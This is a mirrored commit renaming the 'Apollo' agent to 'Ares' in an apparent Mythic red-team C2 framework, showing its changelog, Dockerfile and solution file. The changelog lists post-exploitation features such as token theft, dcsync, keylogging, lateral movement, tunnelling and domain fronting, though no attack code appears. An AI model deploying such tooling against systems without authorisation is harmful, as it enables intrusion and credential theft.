mirror of
https://github.com/Aryma-f4/Ares-mythic.git
synced 2026-06-13 02:54:13 +00:00
refactor(payload): rename apollo to ares and update documentation
This commit renames the Apollo payload type to Ares, moving all associated files and updating documentation accordingly. The change includes: - Renaming directories from `apollo` to `ares` - Updating documentation image references - Maintaining the same code functionality while changing the payload name - Adding new Ares-specific documentation files - Removing old Apollo documentation files The rename is done to reflect the new payload name while preserving all existing functionality.
This commit is contained in:
599
Payload_Type/ares/CHANGELOG.MD
Normal file
599
Payload_Type/ares/CHANGELOG.MD
Normal file
@@ -0,0 +1,599 @@
|
||||
# Changelog
|
||||
All notable changes to this project will be documented in this file.
|
||||
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [v2.4.12] - 2026-03-18
|
||||
|
||||
### Changed
|
||||
|
||||
- Added in `list_registered_files` and `remove_registered_file` commands to interact with Apollo's internal file store
|
||||
|
||||
## [v2.4.11] - 2026-03-13
|
||||
|
||||
### Changed
|
||||
|
||||
- Merged in PRs to support `httpx` and `azure_blob` C2 profiles
|
||||
- Merged in PR to support a few forms of environmental keying (execution checks, not encryption)
|
||||
|
||||
## [v2.4.10] - 2026-02-20
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the `upload` command to allow new `-fileName` field and specifying an already uploaded file
|
||||
- this brings `upload` in line with other file-based commands like `execute_assembly` and `execute_coff`
|
||||
|
||||
## [v2.4.9] - 2026-02-02
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated `COFFLoader.dll` to be compiled with `Release` to help fix `VCRUNTIME140.dll` issues
|
||||
|
||||
## [v2.4.8] - 2025-12-23
|
||||
|
||||
### Changed
|
||||
|
||||
- Added `update_deleted` to more places within `ls` that do separate processing for better consistency
|
||||
|
||||
## [v2.4.7] - 2025-12-23
|
||||
|
||||
### Changed
|
||||
|
||||
- Added support for `update_deleted` in file browsers to auto mark files as "deleted" if they're not in folder listings
|
||||
|
||||
## [v2.4.6] - 2025-12-15
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixing missing dependency change for custom browsers
|
||||
|
||||
## [v2.4.5] - 2025-12-12
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the COFFLoader.dll with the latest updates from TrustedSec's COFFLoader
|
||||
- Added ldap_query
|
||||
- Updated reg_query
|
||||
|
||||
## [v2.4.4] - 2025-12-02
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed a bug in `powerpick` that referenced an exception class in ExecuteAssembly
|
||||
|
||||
## [v2.4.3] - 2025-10-29
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated PyPi package to v0.6.6
|
||||
|
||||
## [v2.4.2] - 2025-10-28
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated PyPi Version to allow build parameters to specify ui position
|
||||
|
||||
## [v2.4.1] - 2025-10-27
|
||||
|
||||
### Added
|
||||
|
||||
- Added support for the HTTPX Profile C2 transport
|
||||
- Uses client-side generated RSA keys (4096-bit) to perform EKE (Encrypted Key Exchange)
|
||||
- Supports malleable profile transforms: base64, base64url, netbios, netbiosu, xor, prepend, append
|
||||
- Supports all REST HTTP methods: GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD
|
||||
- Supports message placement in query parameters, cookies, headers, and body
|
||||
- Supports proxy configuration with authentication
|
||||
- Supports domain fronting and custom HTTP headers
|
||||
- Supports failover and round-robin domain rotation strategies
|
||||
- Added environment keying support for hostname, domain name and registry keys
|
||||
- Build process now conditionally includes only selected C2 profile projects
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated PyPi version
|
||||
- Merged in hotfix for P2P comms missing messages sometimes
|
||||
|
||||
## [v2.4.0] - 2025-10-07
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated to mythic-container==v0.6.0 for dynamic parameters
|
||||
- Updated build parameters to hide shellcode parameters when output type is not shellcode
|
||||
- Updated c2 deviations to hide get-based parameters that aren't used by this profile
|
||||
- Updated make_token to allow blank passwords
|
||||
- Updated ticket_store_purge to process `all` flag properly
|
||||
|
||||
## [v2.3.51] - 2025-09-12
|
||||
|
||||
## Changed
|
||||
|
||||
- Updated steal_token to report back the integrity level of the old and new token
|
||||
- Updated steal_token to adjust the callback's integrity level
|
||||
- Updated rev2self to adjust the callback's integrity level
|
||||
|
||||
## [v2.3.50] - 2025-09-12
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed an issue with spawning processes after doing a `steal_token`
|
||||
- it was using the primary token instead of the impersonated identity
|
||||
|
||||
## [v2.3.49] - 2025-09-10
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated apollo's `ls` functionality to check if a path ends in `:` and update it to `:\` instead
|
||||
- this fixes an issue with windows resolving `C:` as the current working directory compared to `C:\`
|
||||
|
||||
## [v2.3.48] - 2025-08-25
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed parsing for kerberos tickets in ticket_store_add
|
||||
|
||||
## [v2.3.47] - 2025-08-21
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the parsing for kerberos tickets via impacket to handle missing time values in tickets
|
||||
|
||||
## [v2.3.46] - 2025-08-19
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated inline_assembly to check thread execution with timeouts to be able to detect kill jobs for threads better
|
||||
- Updated execute_pe to just report back process exit instead of misleading error codes
|
||||
|
||||
## [v2.3.45] - 2025-08-11
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed a bug in Apollo's P2P code where queued messages could pile up and not get sent
|
||||
|
||||
## [v2.3.44] - 2025-07-24
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated reg_write_value to split input on new lines for multiline input types
|
||||
|
||||
## [v2.3.43] - 2025-07-24
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated reg_write_value to allow you to specify the type of data to write
|
||||
- Updated screenshot and screenshot_inject to not send extra file_ids to user output since PutFile does that automaically
|
||||
|
||||
## [v2.3.42] - 2025-07-24
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the screenshot_inject processing to use donut PyPi package
|
||||
|
||||
## [v2.3.41] - 2025-07-18
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the file upload messages to show chunk status and bail out on errors
|
||||
- Updated the status for execute_coff and execute_assembly to be more informative
|
||||
|
||||
## [v2.3.40] - 2025-07-17
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed an issue with upload via file browser not respecting pathing
|
||||
|
||||
## [v2.3.39] - 2025-07-15
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed a bug with ls-ing UNC paths via the file browser for alternative hosts
|
||||
|
||||
## [v2.3.38] - 2025-07-15
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated `socks` and `rpfwd` tasks to auto-issue `sleep 0` tasks when starting
|
||||
- Updated `socks` task to auto-issue `sleep 1` when stopping
|
||||
- Updated `socks` and `rpfwd` task display parameters
|
||||
- Updated `jobkill` display parameters to be more meaningful
|
||||
- Updated `jump_psexec` output to make sc output prettier
|
||||
- Updated `powerpick`, `execute_assembly`, and `execute_pe` to check for sacrificial process pid > 0 rather than exit
|
||||
- this fixes a bug where access denied when spawning would lock when trying to kill a non-existent pid
|
||||
- Updated logic in high integrity to only list out ticket cache values for current logon if no luid specified
|
||||
- Updated ticket_cache_list to report back the current LUID even if there are no tickets available
|
||||
- Updated the associated browser script to account for this
|
||||
|
||||
## [v2.3.37] - 2025-07-14
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed a small bug in make_token output that was repeating the old token claims instead of the new ones
|
||||
- Fixed the same bug in steal_token output
|
||||
|
||||
## [v2.3.36] - 2025-07-11
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated wmiexecute to try two different ways of impersonating user context for remote execution
|
||||
- Added CoInitializeSecurity call into apollo main program
|
||||
|
||||
## [v2.3.35] - 2025-07-11
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated display params for wmiexecute
|
||||
- Updated display params for ticket_cache_list
|
||||
|
||||
## [v2.3.34] - 2025-07-10
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixing keylog_inject
|
||||
- adding keylog_inject browser script to go with it for basic conversion
|
||||
|
||||
## [v2.3.33] - 2025-07-10
|
||||
|
||||
### Changed
|
||||
|
||||
- Added a new interface function to update the Agent UUID
|
||||
- Used this interface in HTTP and Websocket profiles
|
||||
- Updated `unlink` command to leverage this for properly reflecting unlinked agents
|
||||
- Fixed an issue in P2P code that wouldn't update P2P UUID after negotiating
|
||||
|
||||
## [v2.3.32] - 2025-07-08
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the help for the ticket commands
|
||||
- Updated the error message for ticket_cache_extract
|
||||
- Updated the completion function for ticket_cache_extract
|
||||
|
||||
## [v2.3.31] - 2025-07-07
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the processing for ticket_cache_list to better account for high/medium context
|
||||
- Updated wmiexecute error code to be in hex not int
|
||||
- Updated WebSocketClient code to reconnect on disconnect and added a few more checks for Proxy configs
|
||||
|
||||
## [v2.3.30] - 2025-07-03
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated execute_coff, execute_assembly, inline_assembly, execute_pe, inline_assembly, and assembly_inject
|
||||
- these no longer require `register_*` commands and will automatically fetch the file if needed first
|
||||
|
||||
## [v2.3.29] - 2025-06-23
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated `cd` callback information to get the new proper directory instead of what the user supplied
|
||||
|
||||
## [v2.3.28] - 2025-06-19
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the make_token and steal_token commands to report back Auth status, Auth Package, and Claims per token
|
||||
|
||||
## [v2.3.27] - 2025-06-17
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the build for COFFLoader.dll
|
||||
|
||||
## [v2.3.26] - 2025-06-17
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated apollo to support new cwd and impersonation_context fields
|
||||
- Updated execute_coff to copy COFFLoader.dll instead of move it as needed
|
||||
|
||||
## [v2.3.25] - 2025-06-05
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed type mismatch for ProxyPort
|
||||
|
||||
## [v2.3.24] - 2025-06-05
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the parsing of CallbackHost/CallbackPort and ProxyHost/ProxyPort to be more reliable
|
||||
|
||||
## [v2.3.23] - 2025-05-29
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the file download to report back the file id sooner
|
||||
- Updated download browser script to display media as the file is downloading
|
||||
- Updated execute_coff and execute_assembly to have register_file as dependencies
|
||||
- Updated execute_coff to call execute_file instead of execute_coff command
|
||||
|
||||
## [v2.3.22] - 2025-05-28
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated a reference in the execute_pe task to not reference an exception name in the execute_assembly task
|
||||
|
||||
## [v2.3.21] - 2025-05-14
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the builder to include all commands when building a debug version of apollo
|
||||
- Updated the p2p code to initializes the edges array so checks for edge lengths don't crash
|
||||
|
||||
## [v2.3.20] - 2025-04-29
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated some kerberos ticket functions to return more detailed error messages
|
||||
|
||||
## [v2.3.19] - 2025-04-29
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the `rpfwd` implementation to send Mythic notifications about new connections, not just new data
|
||||
|
||||
## [v2.3.18] - 2025-04-29
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the `ticket_cache_add` call to return more error status information
|
||||
|
||||
## [v2.3.17] - 2025-04-28
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated `rpfwd` to allow specifying a debug level to help with troubleshooting rpfwd issues
|
||||
- Fixed the `debug` build option to properly respect user supplied c2 configuration options
|
||||
|
||||
## [v2.3.16] - 2025-04-10
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the processing for mimikatz credentials
|
||||
- Updated sleep to not have JSON in the display parameters
|
||||
- Updated error messages in sleep
|
||||
- Updated execute_assembly display parameters
|
||||
- Updated link .net command to test webshell connectivity first
|
||||
|
||||
## [v2.3.15] - 2025-04-02
|
||||
|
||||
### changed
|
||||
|
||||
- Fixed an issue with webshell linking
|
||||
|
||||
## [v2.3.14] - 2025-03-30
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed an issue with setting configuration options with `\` characters not getting properly escaped
|
||||
- Updated PyPi package
|
||||
|
||||
## [v2.3.13] - 2025-03-24
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed an issue with the inject command trying to auto-issue a follow-on link for p2p-based shellcode
|
||||
|
||||
## [v2.3.12] - 2025-03-16
|
||||
|
||||
### Changed
|
||||
|
||||
- Added an action (stop/start) for the SOCKS command
|
||||
- Added an option for username/password for rpfwd/socks command
|
||||
- Added a check in jobkill for the rpfwd command to auto stop it from the Mythic side
|
||||
|
||||
## [v2.3.11] - 2025-03-16
|
||||
|
||||
### Changed
|
||||
|
||||
- Added a few more try/catch blocks for named pipe writes
|
||||
- Fixed a compile bug with an out of scope variable
|
||||
|
||||
## [v2.3.10] - 2025-03-14
|
||||
|
||||
### Changed
|
||||
|
||||
- Added a few more try/catch blocks for named pipe writes to help with breaks
|
||||
|
||||
## [v2.3.9] - 2025-03-14
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated `ticket_store_add` to not create a temp logon session to fetch ticket information
|
||||
- Instead, ticket information is fetched via impacket in the apollo container first and sent down with the task
|
||||
|
||||
## [v2.3.8] - 2025-03-12
|
||||
|
||||
### Changed
|
||||
|
||||
- Added `debug` build option
|
||||
|
||||
## [v2.3.7] - 2025-03-12
|
||||
|
||||
### Changed
|
||||
|
||||
- Added the ability to select already uploaded files as part of the register_* commands
|
||||
|
||||
## [v2.3.6] - 2025-03-12
|
||||
|
||||
### Changed
|
||||
|
||||
- Added `-p:DebugType=None -p:DebugSymbols=false` to all `dotnet build` commands
|
||||
- Removed sRDI package as it wasn't used
|
||||
- Standardized donut usage to all be with the donut binary and not partially with the donut PyPi package
|
||||
- Updated ticket_[store|cache]_list commands to return structured JSON
|
||||
- Added browser scripts for ticket_[store|cache]_list commands
|
||||
-
|
||||
## [v2.3.5] - 2025-03-03
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed a bug in Apollo's named pipe server that would break on writes for immediate disconnects from clients
|
||||
|
||||
## [v2.3.4] - 2025-03-03
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed a bug in `ls` that would fail to return data about files/folders if apollo couldn't get full information
|
||||
- Added a `getsystem` command
|
||||
- Updated `execute_coff` to spin off a new thread and set the impersonation context on that thread
|
||||
|
||||
## [v2.3.3] - 2025-02-28
|
||||
|
||||
### Changed
|
||||
|
||||
- Removed unnecessary make_token reference from sleep
|
||||
|
||||
## [v2.3.2] - 2025-02-25
|
||||
|
||||
### Changed
|
||||
|
||||
- Removed RunOF and replaced it with TrustedSec's COFFLoader project
|
||||
- Adjusted the execute_coff command to pack args instead of sending down a typed array
|
||||
- Added a reflective loader for the COFFLoader.dll (with Claude)
|
||||
- Updated execute_pe's remote loaded code to hook more exit functions and load files better (with Claude)
|
||||
|
||||
## [v2.3.1] - 2025-02-11
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed a bug in `upload` that would try to create a UNC path even if the supplied hostname was the same as the current host
|
||||
|
||||
## [v2.3.0] - 2025-02-10
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated TCP and SMB profiles to function the same way
|
||||
- Updated TCP and SMB profiles to use new TCP and SMB profile definitions
|
||||
- Message formats changed, so v2.3 apollo agents cannot link to v2.2 apollo agents
|
||||
- This change means that apollo TCP can link with Poseidon TCP
|
||||
|
||||
## [v2.2.25] - 2025-01-30
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed a bug with upload if remote_path wasn't specified causing regex to break
|
||||
- Updated execute_coff to optionally take in a file at execution time to support forge
|
||||
- Updated execute_assembly to optionally take in a file at execution time to support forge
|
||||
- Updated inline_assembly to optionally take in a file at execution time to support forge
|
||||
|
||||
## [v2.2.24] - 2025-01-08
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the KerberosTicket storage to handle fetching the right ticket more reliably
|
||||
|
||||
## [v2.2.23] - 2025-01-08
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated the ticket_ticket_list to provide the flag for filtering SYSTEM tickets instead of doing it by default
|
||||
- Updated sleep to make Jitter an optional parameter
|
||||
|
||||
## [v2.2.21] - 2024-11-12
|
||||
|
||||
### Changed
|
||||
|
||||
- Added some options to the builder for specifying config options for donut
|
||||
- Added an option to auto-adjust the final payload name based on the configured options
|
||||
|
||||
## [v2.2.20] - 2024-11-12
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated powerpick and PowerShellHost to handle output the same way as execute_assembly and execute_pe
|
||||
- Updated sacrificial process code to only star tasks for reading stdout/stderr for non-fork and run jobs
|
||||
- Updated `ps` to include `update_deleted` and send all output at once so Mythic can update the process browser properly
|
||||
- Updated `kill` to also support `process_browser:kill`
|
||||
|
||||
## [v2.2.19] - 2024-11-08
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated execute_pe code to use named pipes for reading output
|
||||
- Updated sacrificial process code to read stdout as well for commands like run
|
||||
- Updated run/shell to read output and exit
|
||||
|
||||
## [v2.2.18] - 2024-10-16
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated `sleep` to take named parameters
|
||||
- Updated `wmiexecute` to include Evan's wmi execute with impersonation tokens work https://gist.github.com/EvanMcBroom/99ea88304faec38d3ed1deefd1aba6f9
|
||||
- Updated `ls` to check for a CWD of a UNC path before returning bad data for the browser script to leverage
|
||||
- Updated `upload` and `download` to also try to process a CWD of a UNC path when returning full paths for the file browser
|
||||
- Added `host` field to return `upload` data to try to more accurately capture the host of where data is uploaded
|
||||
|
||||
## [v2.2.17] - 2024-10-04
|
||||
|
||||
### Changed
|
||||
|
||||
- updated execute_assembly injected stub to hopefully capture more output successfully
|
||||
|
||||
## [v2.2.16] - 2024-10-03
|
||||
|
||||
### Changed
|
||||
|
||||
- updated `jump_wmi` command
|
||||
- added `jump_psexec` command
|
||||
- added `Service` build option
|
||||
- updated execute_assembly and sacrificial processes to hopefully capture more output consistently
|
||||
|
||||
## [v2.2.15] - 2024-09-27
|
||||
|
||||
### Changed
|
||||
|
||||
- Added in new `jump_wmi` command
|
||||
- Updated `make_token` to allow cli args instead of just modal without registering new creds
|
||||
- Updated sizes in ls browser script
|
||||
|
||||
## [v2.2.14] - 2024-09-24
|
||||
|
||||
### Changed
|
||||
|
||||
- Added in functionality to link to Arachne via webshell configuration
|
||||
|
||||
## [v2.2.13] - 2024-08-21
|
||||
|
||||
### Changed
|
||||
|
||||
- Added in functionality from Evan McBroom to handle impersonated tokens in some situations with wmiexecute
|
||||
|
||||
## [v2.2.12] - 2024-08-20
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed the ptr errors in net_localgroup and net_localgroup_member
|
||||
|
||||
## [v2.2.11] - 2024-08-19
|
||||
|
||||
### Changed
|
||||
|
||||
- Fixed an issue with keylogs coming in one keystroke at a time
|
||||
- Fixed an issue with ps command_line having broken quotes
|
||||
- Added rpfwd capabilities
|
||||
|
||||
## [v2.2.10] - 2024-08-15
|
||||
|
||||
### Changed
|
||||
|
||||
- Updated pth, mimikatz, dcsync to report as alias commands so load will work properly
|
||||
|
||||
## [v2.2.5] - 2024-05-10
|
||||
|
||||
### Changed
|
||||
|
||||
- Merged in Websocket PR
|
||||
- Merged in ExecuteCOFF PR
|
||||
- Added ticket_cache* commands for interacting with local kerberos tickets
|
||||
- Added ticket_store_* commands for interacting with a local kerberos store within the agent
|
||||
- Added wmi_execute command for executing WMI locally and remotely
|
||||
- Fixed double quoting issue in some commands
|
||||
- Fixed reg_write command
|
||||
- Updated `shell` to execute `run` without spawning sub task
|
||||
- Fixed jobs command
|
||||
- Updated .NET version used
|
||||
- Fixed SOCKS command performance and reliability
|
||||
23
Payload_Type/ares/Dockerfile
Normal file
23
Payload_Type/ares/Dockerfile
Normal file
@@ -0,0 +1,23 @@
|
||||
FROM mcr.microsoft.com/dotnet/sdk:8.0
|
||||
RUN apt-get update && apt-get install python3 python3-pip python3.11-venv -y
|
||||
|
||||
RUN curl -L -o donut_shellcode-2.0.0.tar.gz https://github.com/MEhrn00/donut/releases/download/v2.0.0/donut_shellcode-2.0.0.tar.gz && \
|
||||
tar -xf donut_shellcode-2.0.0.tar.gz && \
|
||||
cd donut_shellcode-2.0.0 && \
|
||||
make && \
|
||||
cp donut / && \
|
||||
rm -rf donut_shellcode-2.0.0 && \
|
||||
rm -rf donut_shellcode-2.0.0.tar.gz
|
||||
|
||||
WORKDIR /Mythic/
|
||||
RUN python3 -m venv /venv
|
||||
RUN /venv/bin/python -m pip install mythic-container==0.6.14 mslex impacket toml
|
||||
RUN /venv/bin/python -m pip install git+https://github.com/MEhrn00/donut.git@v2.0.0
|
||||
|
||||
COPY [".", "."]
|
||||
|
||||
# fetch all dependencies
|
||||
RUN cd apollo/agent_code && dotnet restore --verbosity quiet && rm donut ; cp /donut donut
|
||||
RUN cd apollo/agent_code && cp COFFLoader.dll /COFFLoader.dll
|
||||
|
||||
CMD ["bash", "-c", "cp /donut apollo/agent_code/donut && /venv/bin/python main.py"]
|
||||
0
Payload_Type/ares/ares/__init__.py
Normal file
0
Payload_Type/ares/ares/__init__.py
Normal file
3
Payload_Type/ares/ares/agent_code/.editorconfig
Normal file
3
Payload_Type/ares/ares/agent_code/.editorconfig
Normal file
@@ -0,0 +1,3 @@
|
||||
# Do not format the Apollo Config.cs file
|
||||
[Apollo/Config.cs]
|
||||
generated_code = true
|
||||
6
Payload_Type/ares/ares/agent_code/.vscode/extensions.json
vendored
Normal file
6
Payload_Type/ares/ares/agent_code/.vscode/extensions.json
vendored
Normal file
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"recommendations": [
|
||||
"ms-dotnettools.csharp",
|
||||
"ms-dotnettools.csdevkit"
|
||||
]
|
||||
}
|
||||
372
Payload_Type/ares/ares/agent_code/Apollo.sln
Normal file
372
Payload_Type/ares/ares/agent_code/Apollo.sln
Normal file
@@ -0,0 +1,372 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.8.34525.116
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ApolloInterop", "ApolloInterop\ApolloInterop.csproj", "{5B5BD587-7DCA-4306-B1C3-83A70D755F37}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "HttpProfile", "HttpProfile\HttpProfile.csproj", "{74B393F3-4000-49AC-8116-DCCDB5F52344}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "PSKCryptography", "PSKCrypto\PSKCryptography.csproj", "{C8FC8D87-30DB-4FC5-880A-9CD7D156127A}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "PlaintextCryptography", "PlaintextCrypto\PlaintextCryptography.csproj", "{ED320CE0-C28F-4B07-A353-9B14C261E8A3}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Apollo", "Apollo\Apollo.csproj", "{F606A86C-39AF-4B5A-B146-F14EDC1D762C}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "NamedPipeProfile", "NamedPipeProfile\NamedPipeProfile.csproj", "{3AF39094-7F42-4444-A278-FA656EB4678F}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Tasks", "Tasks\Tasks.csproj", "{B9BDA393-C258-44D3-8266-D62265008BD4}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{92E783D2-0C9D-490E-AC6B-F3ED6520F12B} = {92E783D2-0C9D-490E-AC6B-F3ED6520F12B}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "TcpProfile", "TcpProfile\TcpProfile.csproj", "{ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Injection", "Injection\Injection.csproj", "{E4724425-FC2D-40AE-9506-553D5D9DD929}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "Process", "Process\Process.csproj", "{6008A59E-80A4-4790-8FE3-01DE201D71B3}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ExecuteAssembly", "ExecuteAssembly\ExecuteAssembly.csproj", "{8806CD1D-AA64-4E9F-91C7-B579765549B0}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "EncryptedFileStore", "EncryptedFileStore\EncryptedFileStore.csproj", "{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "PowerShellHost", "PowerShellHost\PowerShellHost.csproj", "{1D897A8A-1394-4561-B31C-D8312462500C}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ScreenshotInject", "ScreenshotInject\ScreenshotInject.csproj", "{E05B7224-D965-422C-9B12-E6DEE1BFAC64}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "KeylogInject", "KeylogInject\KeylogInject.csproj", "{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ExecutePE", "ExecutePE\ExecutePE.csproj", "{44D50BF5-4C12-4328-B983-0045C157D932}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "DInvokeResolver", "DInvokeResolver\DInvokeResolver.csproj", "{2C98A07C-F4CD-486C-BBAB-EB6B6CDE1A35}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "SimpleResolver", "SimpleResolver\SimpleResolver.csproj", "{6CA1FF03-8102-41D5-9D57-CC2DA346D684}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "WebsocketProfile", "WebsocketProfile\WebsocketProfile.csproj", "{74855A66-CD77-4CCA-AFD9-09E275E47591}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KerberosTickets", "KerberosTickets\KerberosTickets.csproj", "{2EA76D5F-44EB-4B41-8752-0A9380E5A28A}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExecutePE.Standalone", "ExecutePE.Standalone\ExecutePE.Standalone.csproj", "{8F530743-F632-41FC-BBEA-B6727542A719}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "COFFLoader", "COFFLoader\COFFLoader.vcxproj", "{92E783D2-0C9D-490E-AC6B-F3ED6520F12B}"
|
||||
EndProject
|
||||
Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "AzureBlobProfile", "AzureBlobProfile\AzureBlobProfile.csproj", "{A1B2C3D4-E5F6-7890-ABCD-EF1234567890}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HttpxProfile", "HttpxProfile\HttpxProfile.csproj", "{B9E30FDB-5D10-4986-97A1-556DB67BA0CD}"
|
||||
EndProject
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HttpxTransform", "HttpxTransform\HttpxTransform.csproj", "{BF1EB4E2-0979-4C26-A156-E59C929CF710}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|Any CPU = Release|Any CPU
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.Build.0 = Debug|x64
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.ActiveCfg = Debug|x64
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.Build.0 = Debug|x64
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.ActiveCfg = Release|x64
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.Build.0 = Release|x64
|
||||
{5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.ActiveCfg = Release|x86
|
||||
